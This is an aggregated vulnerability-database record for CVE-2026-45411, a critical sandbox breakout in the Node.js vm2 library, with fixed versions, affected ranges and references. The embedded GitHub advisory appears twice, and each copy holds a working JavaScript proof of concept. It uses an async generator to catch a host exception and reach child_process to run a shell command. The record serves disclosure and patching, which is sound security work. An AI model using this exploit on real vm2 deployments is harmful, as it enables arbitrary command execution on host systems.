{"id":"CVE-2026-45411","aliases":["CLSA-2026-1787860907","EUVD-2026-30086","GHSA-248r-7h7q-cr24","GHSA-2cm2-m3w5-gp2f","GHSA-m5w8-4gq2-6f8x","GHSA-q3fm-4wcw-g57x","GHSA-v836-6xw4-9cx3","ROOT-APP-NPM-CVE-2026-45411"],"status":"published","title":"vm2: Sandbox Breakout Using Async Generator","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.3, it is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be caught by the runtime and passed to the yield* iterator as the next value. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.3.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00568,"percentile":0.47583,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-237","CWE-668"],"published":"2026-05-13T17:38:38Z","modified":"2026-10-28T02:31:09Z","fixes":[{"ecosystem":"npm","package":"vm2","fixed_in":["3.11.3"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"vm2","fixed_in":["3.9.17-aikido.11","3.9.17-aikido.12","3.9.17-aikido.13","3.9.17-aikido.7","3.9.17-aikido.8","3.9.17-aikido.9","3.9.17-aikido.10","3.9.7-aikido.3","3.10.5-aikido.7","3.9.7-aikido.4","3.9.7-aikido.2","3.9.7-aikido.5","3.9.7-aikido.6","3.10.5-aikido.8"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/vm2","fixed_in":["3.9.17-root.io.11","3.9.17-root.io.12","3.9.17-root.io.13","3.9.17-root.io.7","3.9.17-root.io.8","3.9.17-root.io.9","3.9.17-root.io.10","3.9.7-root.io.3","3.10.5-root.io.7","3.9.7-root.io.4","3.9.7-root.io.2","3.9.7-root.io.5","3.9.7-root.io.6","3.10.5-root.io.8"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.11.2"},{"fixed":"3.11.3"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.10.0-tuxcare.0"},{"fixed":"3.10.0-tuxcare.1"}]}],"versions":["3.10.0"],"bundled":30},{"source":"osv","ecosystem":"npm","package":"vm2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.3"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-aikido.11"},{"fixed":"3.9.17-aikido.12"},{"fixed":"3.9.17-aikido.13"},{"fixed":"3.9.17-aikido.7"},{"fixed":"3.9.17-aikido.8"},{"fixed":"3.9.17-aikido.9"},{"fixed":"3.9.17-aikido.10"},{"fixed":"3.9.7-aikido.3"},{"fixed":"3.10.5-aikido.7"},{"fixed":"3.9.7-aikido.4"},{"fixed":"3.9.7-aikido.2"},{"fixed":"3.9.7-aikido.5"},{"fixed":"3.9.7-aikido.6"},{"fixed":"3.10.5-aikido.8"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-root.io.11"},{"fixed":"3.9.17-root.io.12"},{"fixed":"3.9.17-root.io.13"},{"fixed":"3.9.17-root.io.7"},{"fixed":"3.9.17-root.io.8"},{"fixed":"3.9.17-root.io.9"},{"fixed":"3.9.17-root.io.10"},{"fixed":"3.9.7-root.io.3"},{"fixed":"3.10.5-root.io.7"},{"fixed":"3.9.7-root.io.4"},{"fixed":"3.9.7-root.io.2"},{"fixed":"3.9.7-root.io.5"},{"fixed":"3.9.7-root.io.6"},{"fixed":"3.10.5-root.io.8"}]}]}],"products":[{"vendor":"patriksimek","product":"vm2"},{"vendor":"red hat","product":"red hat ansible automation platform 2.1"},{"vendor":"red hat","product":"red hat developer hub"},{"vendor":"vm2_project","product":"vm2"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-248r-7h7q-cr24","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-45411","tags":["vdb-entry","x_refsource_REDHAT","advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477210","tags":["issue-tracking","x_refsource_REDHAT","report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45411.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:50850","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45411","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2/commit/093494c0c3ef2390d2e56909f9d56e290e6f18b0","tags":["web"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.3","tags":["web"]},{"url":"https://github.com/advisories/GHSA-248r-7h7q-cr24"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45411.json","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-45411","title":"vm2: Sandbox Breakout Using Async Generator","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.3, it is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be caught by the runtime and passed to the yield* iterator as the next value. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.3.","status":"published","published":"2026-05-13T17:38:38.311Z","modified":"2026-09-07T12:05:04.263Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"adp"}],"cwes":["CWE-668","CWE-237"],"updated_at":"2026-11-02T13:46:32.755125Z"}],"euvd":[{"id":"EUVD-2026-30086","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.3, it is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be caught by the runtime and passed to the yield* iterator as the next value. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.3.","status":"published","published":"2026-05-13T17:38:38Z","modified":"2026-09-07T12:05:04Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T17:28:30.668645Z"}],"ghsa":[{"id":"GHSA-248r-7h7q-cr24","title":"vm2 Has a Sandbox Breakout Using Async Generator","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nIt is possible to catch a host exception using the `yield*` expression inside an async generator. When the generator is closed using the `return` function, the value is awaited on and exceptions thrown in the `then` call will be catched by the runtime and passed to the `yield*` iterator as the next value.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\nclass E extends Error {}\nfunction so(d) {\n\tif (d \u003e 0) so(d-1);\n\tconst e = new E();\n\te.stack;\n\tthrow e;\n}\nasync function* helper() {\n\tyield* {\n\t\t[Symbol.asyncIterator]: ()=\u003e({\n\t\t\tnext: v=\u003e({value: v, done: false})\n\t\t})\n\t};\n}\nasync function doCatch(f) {\n\tconst i=helper();\n\tawait i.next();\n\tconst v = await i.return({then(r){f();r();}});\n\treturn v.value;\n}\n(async function f() {\n\tlet min = 0;\n\tlet max = 10000000;\n\twhile (min\u003cmax) {\n\t\tconst mid = (min+max)\u003e\u003e1;\n\t\tconst e = await doCatch(()=\u003eso(mid));\n\t\tif (e.name===\"RangeError\" \u0026\u0026 !(e instanceof RangeError)) {\n\t\t\te.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n\t\t\treturn;\n\t\t}\n\t\tif (e instanceof E) {\n\t\t\tmin = mid+1;\n\t\t} else {\n\t\t\tmax = mid;\n\t\t}\n\t}\n})();\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.","status":"published","published":"2026-05-14T21:14:32Z","modified":"2026-05-14T21:14:35Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-668"],"updated_at":"2026-11-02T14:40:10.269075Z"}],"nvd":[{"id":"CVE-2026-45411","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.3, it is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be caught by the runtime and passed to the yield* iterator as the next value. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.3.","status":"published","published":"2026-05-13T18:16:19.427Z","modified":"2026-10-26T14:10:00.13Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-668","CWE-237"],"updated_at":"2026-11-02T14:12:19.020465Z"}],"osv":[{"id":"CVE-2026-45411","title":"vm2: Sandbox Breakout Using Async Generator","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.3, it is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be caught by the runtime and passed to the yield* iterator as the next value. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.3.","status":"published","published":"2026-05-13T17:38:38.311Z","modified":"2026-10-28T02:31:09.084539692Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-668"],"updated_at":"2026-11-02T15:45:05.525666Z"},{"id":"GHSA-248r-7h7q-cr24","title":"vm2 Has a Sandbox Breakout Using Async Generator","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nIt is possible to catch a host exception using the `yield*` expression inside an async generator. When the generator is closed using the `return` function, the value is awaited on and exceptions thrown in the `then` call will be catched by the runtime and passed to the `yield*` iterator as the next value.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\nclass E extends Error {}\nfunction so(d) {\n\tif (d \u003e 0) so(d-1);\n\tconst e = new E();\n\te.stack;\n\tthrow e;\n}\nasync function* helper() {\n\tyield* {\n\t\t[Symbol.asyncIterator]: ()=\u003e({\n\t\t\tnext: v=\u003e({value: v, done: false})\n\t\t})\n\t};\n}\nasync function doCatch(f) {\n\tconst i=helper();\n\tawait i.next();\n\tconst v = await i.return({then(r){f();r();}});\n\treturn v.value;\n}\n(async function f() {\n\tlet min = 0;\n\tlet max = 10000000;\n\twhile (min\u003cmax) {\n\t\tconst mid = (min+max)\u003e\u003e1;\n\t\tconst e = await doCatch(()=\u003eso(mid));\n\t\tif (e.name===\"RangeError\" \u0026\u0026 !(e instanceof RangeError)) {\n\t\t\te.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n\t\t\treturn;\n\t\t}\n\t\tif (e instanceof E) {\n\t\t\tmin = mid+1;\n\t\t} else {\n\t\t\tmax = mid;\n\t\t}\n\t}\n})();\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.","status":"published","published":"2026-05-14T21:14:32Z","modified":"2026-05-14T21:41:25.210964Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-668"],"updated_at":"2026-11-02T15:46:33.520522Z"},{"id":"ROOT-APP-NPM-CVE-2026-45411","title":"CVE-2026-45411 in vm2 - Patched by Root","description":"Root has patched CVE-2026-45411 in the vm2 package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-08T07:17:45Z","modified":"2026-10-08T08:15:24.371041721Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"CLSA-2026-1787860907","title":"TuxCare security update for vm2 (34 CVEs)","description":"TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.","status":"published","published":"2026-08-27T20:01:47Z","modified":"2026-10-15T09:48:03.095721636Z","updated_at":"2026-11-02T15:43:47.591214Z"}]}}